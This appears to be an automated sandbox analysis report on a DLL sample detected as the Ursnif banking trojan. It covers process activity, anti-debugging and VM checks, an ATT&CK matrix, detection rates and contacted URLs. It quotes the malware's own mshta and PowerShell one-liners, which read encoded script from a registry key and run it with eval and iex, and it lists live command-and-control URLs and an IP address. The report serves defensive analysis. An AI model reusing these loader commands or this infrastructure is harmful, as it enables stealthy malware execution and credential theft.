Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3118
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1592

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2000

Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6E188626 FindFirstFileExA,

2_2_6E188626

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: WerFault.exe, 00000014.00000002.439272427.0000000005490000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: mshta.exe, 00000029.00000002.587051419.0000023411E24000.00000004.00000001.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}>'>B
Source: WerFault.exe, 00000014.00000002.438909171.0000000005107000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: WerFault.exe, 00000014.00000002.439272427.0000000005490000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: WerFault.exe, 00000014.00000002.439272427.0000000005490000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: WerFault.exe, 00000014.00000002.439272427.0000000005490000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6E141EB0 LdrInitializeThunk,LdrInitializeThunk,VirtualProtect,GetWindowsDirectoryA,

2_2_6E141EB0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6E17875F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_6E17875F

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E141F7C LoadLibraryA,GetProcAddress,

3_2_6E141F7C

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E17DF99 mov eax, dword ptr fs:[00000030h]	2_2_6E17DF99
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E17DF99 mov eax, dword ptr fs:[00000030h]	3_2_6E17DF99
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E1BD8B6 mov eax, dword ptr fs:[00000030h]	3_2_6E1BD8B6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E1BD3EC push dword ptr fs:[00000030h]	3_2_6E1BD3EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E1BD7E5 mov eax, dword ptr fs:[00000030h]	3_2_6E1BD7E5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E17462D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6E17462D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E17875F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6E17875F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E174901 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6E174901
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E17462D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6E17462D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E17875F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6E17875F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E174901 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6E174901

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll',#1			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))			Jump to behavior

Source: unknown

Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Ff7t='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ff7t).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>'

Source: rundll32.exe, 00000002.00000000.404396366.0000000002ED0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.610195146.0000000002CD0000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.609722055.00000273C7180000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 00000002.00000000.404396366.0000000002ED0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.610195146.0000000002CD0000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.609722055.00000273C7180000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000002.00000000.404396366.0000000002ED0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.610195146.0000000002CD0000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.609722055.00000273C7180000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000002.00000000.404396366.0000000002ED0000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.610195146.0000000002CD0000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.609722055.00000273C7180000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6E174ADB cpuid

2_2_6E174ADB

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	2_2_6E18C3CB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6E18C643
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6E18C68E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6E18C729
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_6E18C7B6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6E18CC36
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	2_2_6E1834FA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_6E18CD03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6E18C59A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6E18CA06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_6E18CB2F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	2_2_6E183961
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,	3_2_6E141E8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	3_2_6E18C3CB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	3_2_6E18C643
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	3_2_6E18C68E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	3_2_6E18C729
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	3_2_6E1834FA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_6E18CD03
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_6E18CB2F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	3_2_6E183961

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6E174828 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

2_2_6E174828

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6E183009 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

2_2_6E183009

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E141F10 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

3_2_6E141F10

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 3.3.rundll32.exe.4f594a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.556259843.0000000004DDC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537141120.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537104299.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536940847.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.548180639.0000000004F59000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537188735.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537165510.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537047715.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536909133.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536969040.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 3.3.rundll32.exe.4f594a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.556259843.0000000004DDC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537141120.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537104299.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536940847.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.548180639.0000000004F59000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537188735.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537165510.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537047715.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536909133.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536969040.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	Path Interception	Process Injection12	Masquerading1	OS Credential Dumping	System Time Discovery2	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion31	LSASS Memory	Query Registry1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Native API1	Logon Script (Windows)	Logon Script (Windows)	Process Injection12	Security Account Manager	Security Software Discovery21	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	PowerShell1	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Process Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information2	LSA Secrets	Virtualization/Sandbox Evasion31	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Rundll321	Cached Domain Credentials	Application Window Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	File and Directory Discovery2	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Information Discovery45	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
lj3H69Z3Io.dll	42%	Virustotal		Browse
lj3H69Z3Io.dll	6%	Metadefender		Browse
lj3H69Z3Io.dll	31%	ReversingLabs	Win32.Trojan.Ursnif

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.rundll32.exe.27c0000.1.unpack	100%	Avira	HEUR/AGEN.1108168		Download File

Domains

Source	Detection	Scanner	Label	Link
gtr.antoinfer.com	8%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://gtr.antoinfer.com/favicon.ico	0%	Avira URL Cloud	safe
http://gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFe0hTlDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFe0hTlDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2FaVCd/bp1e8aV2PI_2/FY5oP4oo0f6/GeARX2_2FlA_2F/2BhurwBe_2BrsQ1B1bUK7/wilinEmmYIdaZ6lz/71Mw33QzoCtr9s9/ULFilVIFcIxUDJIsEo/crrSiFkaK/6sQSCYti3ETwug18IBlk/b94MQVqQ698rgMibrOo/RMBVkg8AFrK4uT2Dq6pO06/OdceZPFn8QQWz/SARUSfJd/dirYBJB3Uuu4IivFAYs9FmV/Pmcsy6YvBv/Lcgiqf1bUTKnYCeNL/dikDMv66Bty/6H	0%	Avira URL Cloud	safe
http://gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFe0hTlDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2FaVCd	0%	Avira URL Cloud	safe
http://gtr.antoinfer.com/Pl9Eori10/TWROVDxUXG0e5P8cvyge/ZU2BrrTT9UbiVqqjDG4/pcVLHkjQ_2FTIEKMeI9p0c/u	0%	Avira URL Cloud	safe
http://gtr.antoinfer.com/4khtvsQ0u/_2Bibxls4V27IXxwFbLo/MVAeZiN_2BcOXrnrV8V/qJdJNxZ6Bgv5NEeycuU5RT/x	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gtr.antoinfer.com	167.172.38.18	true	true	8%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://gtr.antoinfer.com/favicon.ico	true	Avira URL Cloud: safe	unknown
http://gtr.antoinfer.com/M70Tzsw1MNAdF/xfm5A_2F/icgFe0hTlDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2FaVCd/bp1e8aV2PI_2/FY5oP4oo0f6/GeARX2_2FlA_2F/2BhurwBe_2BrsQ1B1bUK7/wilinEmmYIdaZ6lz/71Mw33QzoCtr9s9/ULFilVIFcIxUDJIsEo/crrSiFkaK/6sQSCYti3ETwug18IBlk/b94MQVqQ698rgMibrOo/RMBVkg8AFrK4uT2Dq6pO06/OdceZPFn8QQWz/SARUSfJd/dirYBJB3Uuu4IivFAYs9FmV/Pmcsy6YvBv/Lcgiqf1bUTKnYCeNL/dikDMv66Bty/6H	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 0000002A.00000002.622133874.00000273D895C000.00000004.00000001.sdmp	false		high
